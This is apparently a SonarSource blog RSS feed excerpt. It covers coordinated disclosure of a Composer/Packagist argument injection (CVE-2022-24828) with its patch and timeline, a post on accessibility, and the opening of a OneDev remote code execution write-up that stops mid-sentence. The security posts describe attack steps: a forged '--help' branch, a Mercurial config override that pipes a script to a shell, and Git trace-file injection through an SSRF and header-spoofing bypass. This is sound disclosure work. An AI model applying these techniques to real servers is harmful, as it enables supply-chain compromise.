href=&quot;https://blog.sonarsource.com/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;, we&amp;#x27;ve already demonstrated that the security of a Git repository is very fragile when the attacker can control or modify internal files such as &lt;code&gt;.git/config&lt;/code&gt;; this file would be a target of choice here. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first step is to create a branch with our injected options in its name. What should be simple appears to be blocked:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ git checkout -b --help
fatal: &apos;--help&apos; is not a valid branch name&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We could still figure out a way to force it on the local repository, and this branch would be accepted by the Git remote: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ echo &quot;ref: refs/heads/--help&quot; &gt; .git/HEAD
$ mv .git/refs/heads/main .git/refs/heads/--help
$ git push origin -- --help&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, the mandatory suffix becomes a significant constraint. The only way to get around it would be to create a symbolic link between, for instance, &lt;code&gt;foo:README.md&lt;/code&gt; and &lt;code&gt;.git/config&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We quickly figured out that this path is a dead end: repositories are cloned as bare (notice the option &lt;code&gt;--mirror&lt;/code&gt; in the code snippet below), which means that the directory won&amp;#x27;t expose files from the malicious package in the repository.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;composer/src/Composer/Util/Git.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function syncMirror(string $url, string $dir): bool
{
   // [...]
   $commandCallable = static function ($url) use ($dir): string {
       return sprintf(&apos;git clone --mirror -- %s %s&apos;, ProcessExecutor::escape($url), ProcessExecutor::escape($dir));
   };
   $this-&gt;runCommand($commandCallable, $url, $dir, true);&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Back on HgDriver&lt;/h3&gt;&lt;p&gt;Now, let&amp;#x27;s have a look at the other vulnerable &lt;code&gt;VcsDriver&lt;/code&gt;. This time, the command is invoked as &lt;code&gt;hg cat -r &amp;#x27;&amp;lt;branch&amp;gt;&amp;#x27; &amp;#x27;&amp;lt;file&amp;gt;&amp;#x27;&lt;/code&gt;; this is a more ideal context than in &lt;code&gt;GitDriver&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As described in the section &lt;em&gt;Previous Work&lt;/em&gt;, we can use Mercurial&amp;#x27;s &lt;code&gt;--config&lt;/code&gt; option to override the behavior of a built-in command, e.g., &lt;code&gt;cat&lt;/code&gt;, and make it execute an arbitrary shell script instead. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can craft the following payload based on the information above in a very similar fashion to what we did for CVE-2021-29472:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/05056348-5020-4225-86fe-9ac0ed1f7f38/body-421d0009-0b9f-40ca-ba2f-8d4f32f00702_Securing%2BDeveloper%2BTools_%2BA%2BNew%2BSupply%2BChain%2BAttack%2Bon%2BPHP%2B%25283%2529.png&quot; /&gt;&lt;p&gt;The payload may be slightly more complex than what you could have expected; let&amp;#x27;s break it down:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;Injected configuration override&lt;/em&gt;: this is the extra argument that declares a shell command something overriding Mercurial&amp;#x27;s &lt;code&gt;cat&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;&lt;em&gt;Payload&lt;/em&gt;: the repository is cloned as bare, so we can&amp;#x27;t access files. Using an unmodified call to &lt;code&gt;hg cat&lt;/code&gt;, we can read the repository&amp;#x27;s file named &lt;code&gt;payload.sh&lt;/code&gt; and pipe it to a shell;&lt;/li&gt;&lt;li&gt;&lt;em&gt;Mandatory suffix&lt;/em&gt;: Packagist only processes files ending with &lt;code&gt;.txt&lt;/code&gt; or &lt;code&gt;.md&lt;/code&gt;; other ones are discarded.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;An attacker would have to follow these steps to attempt exploiting this vulnerability against Packagist:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create a project in a remote Mercurial repository;&lt;/li&gt;&lt;li&gt;Put the manifest in &lt;code&gt;composer.json&lt;/code&gt; and add a malicious readme entry;&lt;/li&gt;&lt;li&gt;When using a payload like the one depicted above, create a file named &lt;code&gt;payload.sh&lt;/code&gt; to perform the desired actions;&lt;br/&gt;undefined&lt;/li&gt;&lt;li&gt;Import the package on Packagist, and request an update of the package.&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We performed these steps on a test instance we set up and could demonstrate the execution of arbitrary commands on the server: &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/6TzaVh-Ludw&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next step would be to modify the definition of a package to point to an unintended destination and compromise the application in which they are used; this is something that we&amp;#x27;ve already demonstrated in &lt;a href=&quot;https://www.youtube.com/watch?v=RLcK0kRGpjw&quot;&gt;our Insomni&amp;#x27;hack talk&lt;/a&gt; and won&amp;#x27;t be presented again in this article. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The exploitability of this vulnerability on the production instance, packagist.org, was also demonstrated with a non-destructive command. We immediately reached out to the maintainers with all the technical details of our attempt, IP address, etc. It should be noted that maintainers did not identify any prior exploitation of this vulnerability.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;CVE-2022-24828&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;As you may remember from the previous sections, it is not possible to patch the injection in GitDriver with the POSIX end-of-options switch. Git introduced a non-standard flag, --end-of-options, but it&amp;#x27;s only supported starting from Git 2.24, which may break Composer for some users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, the maintainers merged &lt;a href=&quot;https://github.com/composer/composer/commit/2c40c53637c5c7e43fff7c09d3d324d632734709&quot;&gt;2c40c53&lt;/a&gt;, containing a patch for both vulnerable VcsDriver classes. First, GitDriver is patched by forbidding any branch whose name starts with a dash:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; public function getFileContent($file, $identifier)
    {
+        if (isset($identifier[0]) &amp;&amp; $identifier[0] === &apos;-&apos;) {
+            throw new \RuntimeException(&apos;Invalid git identifier detected. Identifier must not start with a -, given: &apos; . $identifier);
+        }
+
        $resource = sprintf(&apos;%s:%s&apos;, ProcessExecutor::escape($identifier), ProcessExecutor::escape($file));
        $this-&gt;process-&gt;execute(sprintf(&apos;git show %s&apos;, $resource), $content, $this-&gt;repoDir);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a similar fashion, HgDriver now forbids leading slashes in the branch name and introduced the end-of-options switch to protect against argument injections with filename:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  public function getFileContent($file, $identifier)    {
-        $resource = sprintf(&apos;hg cat -r %s %s&apos;, ProcessExecutor::escape($identifier), ProcessExecutor::escape($file));
+        if (isset($identifier[0]) &amp;&amp; $identifier[0] === &apos;-&apos;) {
+            throw new \RuntimeException(&apos;Invalid hg identifier detected. Identifier must not start with a -, given: &apos; . $identifier);
+        }
+
+        $resource = sprintf(&apos;hg cat -r %s -- %s&apos;, ProcessExecutor::escape($identifier), ProcessExecutor::escape($file));        
$this-&gt;process-&gt;execute($resource, $content, $this-&gt;repoDir);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Further hardening &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Composer is slightly different than other package managers because it uses Packagist only to fetch metadata about a given package and download the dependency later from another source. They are not hosting the packages, so it becomes slightly harder to integrate and enforce tools like &lt;a href=&quot;https://www.sigstore.dev/&quot;&gt;sigstore&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-07&lt;/td&gt;&lt;td&gt;We report the vulnerability to the Packagist maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-07&lt;/td&gt;&lt;td&gt;Vendor acknowledges the issues and starts working on a patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-08&lt;/td&gt;&lt;td&gt;The public instance at packagist.org is hot-patched.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-13&lt;/td&gt;&lt;td&gt;CVE assigned, official communication by Packagist on their blog and new Composer releases. No indicator of previous exploitation of CVE-2022-24828 has been detected.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;We demonstrated how we discovered an argument injection in the backend services of the PHP package manager Composer and could successfully exploit it to compromise any PHP software dependency. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a perfect example of a retrospectively simple bug missed by the maintainers and vulnerability researchers, even if both likely spent a few hours on this code before merging the security patch for CVE-2021-29472! Coming back on old bugs with a clear mind is a powerful tool that shouldn&amp;#x27;t be underestimated. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We want to thank the Packagist maintainers that handled our report, namely @glaubinix, @seldaek, and @naderman; their disclosure process is again one of the smoothest that we have ever experienced. You can read their advisory on the official Packagist blog: &lt;a href=&quot;https://blog.packagist.com/cve-2022-24828-composer-command-injection-vulnerability/&quot;&gt;CVE-2022-24828: Composer Command Injection Vulnerability&lt;/a&gt;.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;If you loved what you&amp;#x27;ve just read, and want to help us bring our static analysis technology to the next level, don&amp;#x27;t hesitate to look at our open security engineering positions: &lt;a href=&quot;https://jobs.lever.co/sonarsource/4f9dbd7e-a5ee-4858-b526-56b2c671f9c4&quot;&gt;AppSec Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/06ddcdf2-c99f-4672-aa86-4fc0b58625ae&quot;&gt;Vulnerability Researcher&lt;/a&gt;, &lt;a href=&quot;https://jobs.lever.co/sonarsource/869c6386-4f66-479b-932f-db5019f8c14a&quot;&gt;Static Analysis Scientist&lt;/a&gt;… Many more are to be found on &lt;a href=&quot;https://jobs.lever.co/sonarsource&quot;&gt;our careers page&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-pear/&quot;&gt;PHP Supply Chain Attack on PEAR&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: Git Integrations&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Our journey toward accessibility]]></title><description><![CDATA[When you think about your typical workday, how much time do you spend working on a computer? How hard would it be for you to perform your job if you did not have access to a computer?]]></description><link>https://www.sonarsource.com/blog/our-journey-toward-accessibility</link><guid isPermaLink="false">b236b69a-3c2b-574a-9ea7-ea01a3303b58</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Mon, 26 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why accessibility in software matters&lt;/h2&gt;&lt;p&gt;When you think about your typical workday, how much time do you spend working on a computer? 50% of the time? 80%? 90%? How hard would it be for you to perform your job if you did not have access to a computer? Technology has become ubiquitous, both in our personal and professional lives. So much so that the United Nations published the following in their &lt;a href=&quot;https://www.un.org/development/desa/disabilities/convention-on-the-rights-of-persons-with-disabilities/article-9-accessibility.html&quot;&gt;Convention on the Rights of Persons with Disabilities&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Article 9 – Accessibility&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To enable persons with disabilities to live independently and participate fully in all aspects of life, States … shall … ensure to persons with disabilities access, &lt;em&gt;on an equal basis with others&lt;/em&gt; [...] to information and communications, &lt;em&gt;including information and communications technologies and systems ...&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To put this in some context, in 2011 the World Health Organization (WHO) published the &lt;a href=&quot;https://www.who.int/teams/noncommunicable-diseases/sensory-functions-disability-and-rehabilitation/world-report-on-disability&quot;&gt;World Report on Disability&lt;/a&gt; and estimated that about 15% of the global population suffers from some form of disability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this day and age, if you are excluded from using technology, you are at a serious disadvantage. Software vendors should strive to be as inclusive as possible, making sure everyone has the same access to the services and tools we provide. &lt;/p&gt;&lt;h2&gt;The journey of accessibility at Sonar&lt;/h2&gt;&lt;h3&gt;Humble beginnings&lt;/h3&gt;&lt;p&gt;In 2018, Laura Wacrenier, the company’s sole UX Designer at the time, noticed that some users were complaining about our products on Twitter and in our Community forums. The reason for their complaints: the lack of accessibility of SonarQube. She triggered conversations with these users to better understand the situation and even had a chance to speak via video conference with some users that suffer from blindness, asking them to show her how they used our software. Soon, Laura started raising awareness among her colleagues that we should be more inclusive when building our products. This was the initial spark that got Sonar to think about accessibility. Later the same year, in December, I joined the company as a web developer. Accessibility was a topic that was dear to me as well, and I was happy to find like-minded people in my new team. We quickly started thinking about new ways to try and improve the situation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In 2019, Laura and I organized an internal company event for the &lt;a href=&quot;https://accessibility.day/&quot;&gt;Global Accessibility Awareness Day&lt;/a&gt; to raise awareness at the company level about accessibility; it was a great success. Over the following 2 years, teams tried to tackle it with the &amp;quot;clean as you code&amp;quot; approach, taking accessibility into consideration when building new features. However, all this was on a best-effort basis. As many folks can probably relate, making accessible UIs is not easy. It requires specific skills and expertise. And if it&amp;#x27;s not a top priority, it can be difficult to find the time to do it right.&lt;/p&gt;&lt;h3&gt;Taking accessibility to the next level&lt;/h3&gt;&lt;p&gt;Fortunately, in 2021, Sonar announced internally that it was becoming a priority: we would work to become &lt;a href=&quot;https://www.w3.org/TR/WCAG21/&quot;&gt;WCAG 2.1 AA&lt;/a&gt; compliant for all our products. This gave teams the freedom to dedicate time to making our products more accessible.&lt;/p&gt;&lt;h3&gt;Baby Steps&lt;/h3&gt;&lt;p&gt;True to our company’s Baby Step approach, the SonarQube Team decided to set a limited target: let’s focus first:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;On the Community Edition (our most popular edition)&lt;/li&gt;&lt;li&gt;On users that are developers (which make up the vast majority of our user base)&lt;/li&gt;&lt;li&gt;And on the “project space” (i.e., non-admin, project-related pages)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This reduced scope had 2 benefits:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Its impact would be very high, covering the vast majority of our users&lt;/li&gt;&lt;li&gt;It was large enough to be ambitious but small enough to be achievable within a reasonable time frame&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The audit showed us that, considering the complexity of the SonarQube UI, we had done surprisingly well so far. True, we had a lot of issues, but none were considered “blockers”, i.e., even if using the application was hard for some users, nothing inherently prevented them from using it. But more importantly, the audit was incredibly useful: not only did we now have a better view of what we needed to work on, the audit greatly helped us get a better understanding of why some things weren’t accessible, and how we could fix them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We decided to split this new backlog of accessibility issues into multiple sprints: we would then dedicate 1 or 2 sprints each release cycle (approximately 2 months) to work on them. This would allow us to make good progress and keep a high level of energy and motivation, while still being able to work on the SonarQube feature roadmap.&lt;/p&gt;&lt;h3&gt;Where we stand today&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarqube.org/sonarqube-9-6/&quot;&gt;SonarQube 9.6&lt;/a&gt; is the first release to benefit from dedicated accessibility improvements, and we’re proud to have tackled more than a third of all the issues uncovered in the audit. We’ve already started working on further improvements for 9.7, and are confident we will have treated all issues found by the audit by the time we release 9.8. This means that the next SonarQube LTS will be the most accessible version of SonarQube we ever released.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Don’t get us wrong: it won’t be perfect and we won’t be WCAG 2.1 AA compliant yet. This is only the beginning.&lt;/p&gt;&lt;h3&gt;The future of accessibility at Sonar&lt;/h3&gt;&lt;p&gt;Our current objective is to have follow-up audits, each one focusing on a fixed scope. We will spend several cycles fixing all the issues uncovered by the audit, before moving on to the next scope. And so on and so forth, until we will have covered SonarQube as a whole. This way, little by little, cycle by cycle, we will continuously improve, until we reach our target of being as close to WCAG 2.1 AA compliance as possible. There will likely be areas where it will be impossible to be fully WCAG 2.1 AA compliant (e.g., the Activity graphs, by their dynamic nature, are very hard to make fully accessible). Once we have reached our target, we are considering having annual accessibility audits, to ensure we don’t regress and continue to meet high accessibility standards.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: OneDev Remote Code Execution]]></title><description><![CDATA[We recently discovered several vulnerabilities in OneDev 7.2.9 that allowed attackers to fully compromise a server and even break out of a Docker environment.]]></description><link>https://www.sonarsource.com/blog/onedev-remote-code-execution</link><guid isPermaLink="false">3f34cdb5-4176-581f-866e-83de1b8d7539</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 20 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;OneDev is a self-hosted Git server that comes with a lot of development-oriented features such as CI/CD, code search, and static analysis integration. With almost 10,000 stars on GitHub, it is gaining popularity and becoming an open-source and low-maintenance alternative to GitHub, GitLab, and Bitbucket.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Source code becomes an increasingly important asset of most companies, making it crucial to protect it from being stolen or, even worse, altered by malicious actors. This is why we decided to look at the very services that are the most interesting targets of these threat actors: source code hosting platforms.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we describe the vulnerabilities we found in OneDev that could be used by attackers to take over vulnerable instances. We will first look at their impact, then dive into the technical details, and finally, we&amp;#x27;ll discuss how the maintainers fixed the issues and how you can prevent them in your own code.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We discovered the following vulnerabilities in OneDev 7.2.9:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Web Hook Server-Side Request Forgery&lt;/li&gt;&lt;li&gt;Access Control Bypass leading to Remote Code Execution (CVE-2022-39205)&lt;/li&gt;&lt;li&gt;Docker Escape (CVE-2022-39206)&lt;/li&gt;&lt;li&gt;Persistent Cross-Site Scripting (CVE-2022-39207)&lt;/li&gt;&lt;li&gt;Git Repository Disclosure (CVE-2022-39208)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some of them can be combined by attackers to execute arbitrary commands on vulnerable OneDev instances. This would allow them to steal or manipulate source code, build artifacts, and launch further attacks against internal infrastructure. Most of the vulnerabilities require authentication as a regular user, except for CVE-2022-39208 which can be exploited without any authentication at all. The following is an overview of how the vulnerabilities can be exploited:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/249298b7-458f-4688-ac65-6334e13b245c/body-e7018079-7e77-4a6e-b0ba-6602af1c7425_OneDev-attack-diagram.png&quot; /&gt;&lt;p&gt;We strongly recommend updating to at least version 7.3.0 to benefit from the maintainer&amp;#x27;s fixes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the OneDev maintainers are using the OneDev instance at &lt;a href=&quot;https://code.onedev.io&quot;&gt;code.onedev.io&lt;/a&gt; to develop the project,  attackers could have hijacked the project&amp;#x27;s infrastructure to plant malicious code into OneDev itself. This would have allowed them to compromise users of OneDev without having to directly attack them. Such a software supply chain attack is very stealthy and has happened before, for example in the &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hundreds-of-networks-reportedly-hacked-in-codecov-supply-chain-attack/&quot;&gt;Codecov&lt;/a&gt; and &lt;a href=&quot;https://www.businessinsider.com/solarwinds-hack-explained-government-agencies-cyber-security-2020-12&quot;&gt;SolarWinds&lt;/a&gt; incidents, and could have also happened in the &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;open-source&lt;/a&gt; &lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-pear/&quot;&gt;world&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will look at the technical details of three vulnerabilities that can be combined into a chain. First, we will look at a Server-Side Request Forgery issue, then we will see how it can be used to achieve Remote Code Execution, and finally, we will show how attackers could have used a Docker misconfiguration to escape from a container to the host system.&lt;/p&gt;&lt;h3&gt;Server-Side Request Forgery&lt;/h3&gt;&lt;p&gt;A common feature among source code hosting platforms is the ability to add webhooks that will be triggered by certain events. An example use case for this is to trigger a deployment on every push to a repository&amp;#x27;s main branch. This functionality requires the user to set a URL and an event type, telling the server to send an HTTP request to that URL when events of that type occur. The request usually contains the event data in its body. This is what the feature looks like for OneDev:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/987dc9b8-e499-4958-bc6d-aca670bedf6c/body-8b34b072-be3d-462d-84b6-5d5560434728_Screenshot%2B2022-09-19%2Bat%2B15.46.13.png&quot; /&gt;&lt;p&gt;In the case of OneDev, the target URL of a webhook is not restricted at all (besides having to be a syntactically valid URL). This allows users to force the server to make HTTP requests to internal targets, including the server itself, by setting the webhook URL to an internal IP address and triggering the defined event.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is known as Server-Side Request Forgery (SSRF), which can be used to talk to internal systems and trigger further vulnerabilities in them. In this case, it is a limited SSRF: the user does not control the HTTP method or any HTTP headers, they only control some parts of the body, and they can&amp;#x27;t see the HTTP response. This limits the user-controlled inputs that can be passed to an internal server to the URL, i.e. its path and query parameters.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The OneDev maintainers did not request a CVE for this vulnerability because they see it as intended behavior. They expect OneDev setups to be so diverse that blocking certain IP ranges could lead to issues for some users. The next section will cover how it was possible to use this SSRF to reach an internal endpoint, bypass its protection, and execute arbitrary code on the server.&lt;/p&gt;&lt;h3&gt;Access Control Bypass leading to Remote Code Execution (CVE-2022-39205)&lt;/h3&gt;&lt;p&gt;To validate push events, OneDev uses Git commands under the hood. This is implemented with a callback endpoint that will be called whenever a push event happens. This endpoint is only supposed to be called from localhost, so the following check was introduced:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected void doPost(HttpServletRequest request, HttpServletResponse response) {
    String clientIp = request.getHeader(&quot;X-Forwarded-For&quot;);
    if (clientIp == null) clientIp = request.getRemoteAddr();

    if (!InetAddress.getByName(clientIp).isLoopbackAddress()) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN,
                &quot;Git hook callbacks can only be accessed from localhost.&quot;);
        return;
    }
    // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The endpoint checks if the client&amp;#x27;s IP address is the loopback address, e.g. &lt;code&gt;127.0.0.1&lt;/code&gt;, but it blindly trusts the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header if present. This is unsafe, as it requires a proper reverse proxy to be deployed in front of the OneDev instance. Otherwise, attackers can spoof their IP address by simply setting that header.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In case there is a properly configured reverse proxy, this check can still be bypassed using the SSRF vulnerability described above. Since the server sends the webhook request to itself, the sender&amp;#x27;s IP address will always be the loopback address.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After that initial check, the callback endpoint will read some parameters from the request. This includes a project ID, a user ID, and commit hashes. These values are then used to check certain conditions based on the project&amp;#x27;s settings and the user&amp;#x27;s permissions. Finally, a Git command will be executed based on the previous checks. OneDev invokes this command in a safe way that prevents &lt;a href=&quot;https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2076&quot;&gt;Command Injection&lt;/a&gt; and &lt;a href=&quot;https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-5883&quot;&gt;Argument Injection&lt;/a&gt; vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the callback also takes environment variables from the request&amp;#x27;s query parameters. They are then passed to the Git command invocation, which is very unsafe because the behavior of programs can be influenced by specifying certain environment variables.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Making Git write files&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Modern versions of Git support &lt;a href=&quot;https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT&quot;&gt;setting any config value via environment variables&lt;/a&gt;, which would be enough to execute arbitrary commands. This can be achieved by setting the &lt;code&gt;GIT_CONFIG_COUNT&lt;/code&gt;, &lt;code&gt;GIT_CONFIG_KEY_*&lt;/code&gt;, and &lt;code&gt;GIT_CONFIG_VALUE_*&lt;/code&gt; variables. However, the Git version that was shipped in the default Docker container of OneDev was older, so this option was not feasible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another technique to control program behavior via environment variables is to use &lt;code&gt;LD_PRELOAD&lt;/code&gt; which allows specifying a shared library that can override certain functions used by a binary. This would require first uploading such a shared library to the filesystem, making it also not feasible in this scenario without an additional vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We noticed that OneDev uses Git hooks to validate some Git events and that the hooks were simple shell scripts. These files were also writable by the user that the OneDev server runs as, so it would be possible to overwrite them with malicious commands. We then checked the Git documentation for any environment variable that would enable writing to an arbitrary file. We found &lt;code&gt;GIT_TRACE_SETUP&lt;/code&gt;, which is used to activate the output of verbose debugging information, either to &lt;code&gt;STDERR&lt;/code&gt; or to a file that can be specified in the variable&amp;#x27;s value. Its output looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ env GIT_TRACE_SETUP=/tmp/trace.txt git status
On branch main
No commits yet
nothing to commit (create/copy files and use &quot;git add&quot; to track)
$ cat /tmp/trace.txt
15:40:18.109099 trace.c:311             setup: git_dir: .git
15:40:18.109933 trace.c:312             setup: git_common_dir: .git
15:40:18.109940 trace.c:313             setup: worktree: /tmp/git-trace
15:40:18.109947 trace.c:314             setup: cwd: /tmp/git-trace
15:40:18.109953 trace.c:315             setup: prefix: (null)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This approach looked promising, but it had some drawbacks: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;First, only some parts of the output can be controlled via other environment variables; &lt;/li&gt;&lt;li&gt;Second, Git would only append to existing files, not overwrite them. This is especially problematic here, because the Git hook scripts all ended with a call to &lt;code&gt;exit&lt;/code&gt; on their last line, ending the execution of the script regardless of what comes in the next lines; &lt;/li&gt;&lt;li&gt;The last straw that remained here was that the scripts had no linebreak at the very end, which meant that we could execute commands in a subshell if we could inject them in the first line of the trace output.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Controlling the output&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;This first line contains the value of &lt;code&gt;git_dir&lt;/code&gt; and it can be controlled via the &lt;code&gt;GIT_DIR&lt;/code&gt; environment variable. It has to point to a valid Git directory, otherwise, the whole command will fail and no trace output will be written. It is also not possible to insert non-existing segments into the path because Linux will complain in that case. This means the attacker needs to create a folder with a subshell command in its name on the filesystem first, and then they can use a &lt;code&gt;GIT_DIR&lt;/code&gt; path that includes this directory and then traverses back to a valid Git directory.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the attacker in our scenario already has access to a project on the OneDev server, they can do this by creating and pushing a new branch. Branches are stored in a Git repository as &lt;code&gt;.git/refs/heads/&amp;lt;branchname&amp;gt;&lt;/code&gt;. Branch names can include slashes, so this can result in multiple nested directories, but the last &amp;quot;segment&amp;quot; of a Git branch name will always be a file that holds the branch&amp;#x27;s most recent commit hash. So to create a branch that suits the needs of the exploit, the attacker has to include at least one slash after the subshell command to make sure the command will be in a directory name, not in a file 